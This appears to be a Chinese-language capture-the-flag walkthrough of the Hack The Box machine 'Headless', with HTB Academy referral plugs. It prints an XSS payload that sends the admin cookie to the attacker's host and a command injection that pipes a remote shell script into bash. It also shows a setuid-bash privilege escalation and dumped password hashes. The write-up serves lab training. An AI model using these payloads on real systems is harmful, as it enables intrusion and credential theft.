Recommand : Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦 : 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
Headless 真的很簡單,隨便寫寫算了,至少不會這麽懶。。。
Nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 90:02:94:28:3d:ab:22:74:df :0e:a3:b2:0f:2b:c6:17 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXBmWeZYo1LR50JTs8iKyICHT76i7+fBPoeiKDXRhzjsfMWruwHrosHoSwRxiqUdaJYLwJgWOv+jFAB45nRQHw= | 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICkBEMKoic0Bx5yLYG4DIT5G797lraNQsG5dtyZUl9nW 5000/tcp open upnp? syn-ack ttl 63 | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Server: Werkzeug/2.2.2 Python/3.11.2 | Date: Sun, 24 Mar 2024 09:49:51 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 2799 | Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
就一個 python 服務器
80 - web 隨便輸入一些東西,比如xss,
然後輸出
他在隱約的告訴你,管理員會看到哦,既然提示管理員會看到,倒不如在header上注入:
然後就和想象中的一樣:
既然成功xss,那也只能偷cookie了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /support HTTP/1.1 Host: 10.129.217.49:5000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 192 Origin: http://10.129.217.49:5000 Connection: close Referer: http://10.129.217.49:5000/support Cookie: <img src=x onerror="fetch('http://10.10.16.9/?' + btoa(document.cookie))" /> Upgrade-Insecure-Requests: 1 fname=<iframe+src%3dhttp%3a//10.10.16.9%3a8000/pwn+<&lname=<iframe+src%3dhttp%3a//10.10.16.9%3a8000/pwn+<&email=sdad%40asda.aa&phone=%<iframe+src%3dhttp%3a//10.10.16.9%3a8000/pwn+<&message=</>
然後用偷到的cookie解下碼:
1 10.129.217.49 - - [24/Mar/2024 18:35:17] "GET /?aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -
得到cookie,并且add 到瀏覽器:
1 is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
大概如下:
試了很久, "
和 '
會不顯示東西,所以我就納悶了。不像是sql注入,更像是命令注入和LDAP注入。
LDAP的話,輸入**
和 *
得到的結果是一樣的。。。所以就很懷疑是命令行注入。
於是就暴力測試,然後: date=1 ;curl 10.10.16.9/shell.sh | bash
拿到了reverse shell。
linpeas看看,看到:
1 2 3 4 5 6 7 ???????????? Checking 'sudo -l' , /etc/sudoers, and /etc/sudoers.d ? https://book.hacktricks.xyz/linux-hardening/privilege-escalation Matching Defaults entries for dvir on headless: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User dvir may run the following commands on headless: (ALL) NOPASSWD: /usr/bin/syscheck
看了一下這個命令是一個脚本,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 dvir@headless:~$ whereis syscheck syscheck: /usr/bin/syscheck dvir@headless:~$ file /usr/bin/syscheck /usr/bin/syscheck: Bourne-Again shell script, ASCII text executable dvir@headless:~$ cat /usr/bin/syscheck if [ "$EUID " -ne 0 ]; then exit 1 fi last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1) formatted_time=$(/usr/bin/date -d "@$last_modified_time " +"%d/%m/%Y %H:%M" ) /usr/bin/echo "Last Kernel Modification Time: $formatted_time " disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}' ) /usr/bin/echo "Available disk space: $disk_space " load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}' ) /usr/bin/echo "System load average: $load_average " if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then /usr/bin/echo "Database service is not running. Starting it..." ./initdb.sh 2>/dev/null else /usr/bin/echo "Database service is running." fi exit 0dvir@headless:~$
看到了 ./initdb.sh
隨手就寫了一個 initdb.sh
1 2 3 4 5 dvir@headless:~$ cat initdb.sh chmod 4777 /bin/bashecho "mane PWN" bash
然後就root了。
1 2 3 4 5 6 7 8 9 dvir@headless:~$ sudo syscheck Last Kernel Modification Time: 01/02/2024 10:05 Available disk space: 1.9G System load average: 0.00, 0.01, 0.03 Database service is not running. Starting it... mane PWN id uid=0(root) gid=0(root) groups =0(root)
隨便寫寫,由於沒什麽技術。
Hashes 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 root:$y$j9T$2cy/WxPggISXkBDRmZbL10$0w8yfYfo92xIpj.Qu7zcpzqjLInUcI26SaM2l0IRS.7:19737:0:99999:7::: daemon:*:19609:0:99999:7::: bin:*:19609:0:99999:7::: sys:*:19609:0:99999:7::: sync:*:19609:0:99999:7::: games:*:19609:0:99999:7::: man:*:19609:0:99999:7::: lp:*:19609:0:99999:7::: mail:*:19609:0:99999:7::: news:*:19609:0:99999:7::: uucp:*:19609:0:99999:7::: proxy:*:19609:0:99999:7::: www-data:*:19609:0:99999:7::: backup:*:19609:0:99999:7::: list:*:19609:0:99999:7::: irc:*:19609:0:99999:7::: _apt:*:19609:0:99999:7::: nobody:*:19609:0:99999:7::: systemd-network:!*:19609:::::: tss:!:19609:::::: systemd-timesync:!*:19609:::::: messagebus:!:19609:::::: usbmux:!:19609:::::: dnsmasq:!:19609:::::: avahi:!:19609:::::: speech-dispatcher:!:19609:::::: fwupd-refresh:!:19609:::::: saned:!:19609:::::: geoclue:!:19609:::::: polkitd:!*:19609:::::: rtkit:!:19609:::::: colord:!:19609:::::: dvir:$y$j9T$IKU310jZ./br3hMhSpYSH0$IbCr4LIWNnOd76D2ObQYiNOCmGX4ZI7DTnKjbs8gXe9:19610:0:99999:7::: sshd:!:19610:::::: _laurel:!:19769::::::
後記 1 2 3 4 5 6 7 8 9 10 11 12 13 @app.route('/dashboard' , methods=['GET' , 'POST' ]) def admin(): if serializer.loads(request.cookies.get('is_admin' )) == "user" : return abort(401) script_output = "" if request.method == 'POST' : date = request.form.get('date' ) if date : script_output = os.popen(f'bash report.sh {date}' ).read () return render_template('dashboard.html' , script_output=script_output)
你可以看到他就是一個簡單的命令執行。
然後前面的waf我也想到了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app.route('/support' , methods=['GET' , 'POST' ]) def support(): if request.method == 'POST' : message = request.form.get('message' ) if ("<" in message and ">" in message) or ("{{" in message and "}}" in message): request_info = { "Method" : request.method, "URL" : request.url, "Headers" : format_request_info(dict(request.headers)), } formatted_request_info = format_request_info(request_info) html = render_template('hackattempt.html' , request_info=formatted_request_info) filename = f'{random.randint(1, 99999999999999999999999)}.html' with open(os.path.join(hacking_reports_dir, filename), 'w' , encoding='utf-8' ) as html_file: html_file.write(html) return html return render_template('support.html' )
我還以爲要繞過waf,hh
Thanks Recommand : If you really like my writeups, please use this link to sign up for an HTB Academy account to show my appreciation.
非常推薦 : 如果你真的喜歡我寫的writeup,請使用這個鏈接注冊一個 HTB Academy 賬號,以表達我的感謝。
如果你是新手,使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
If you are a beginner, join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)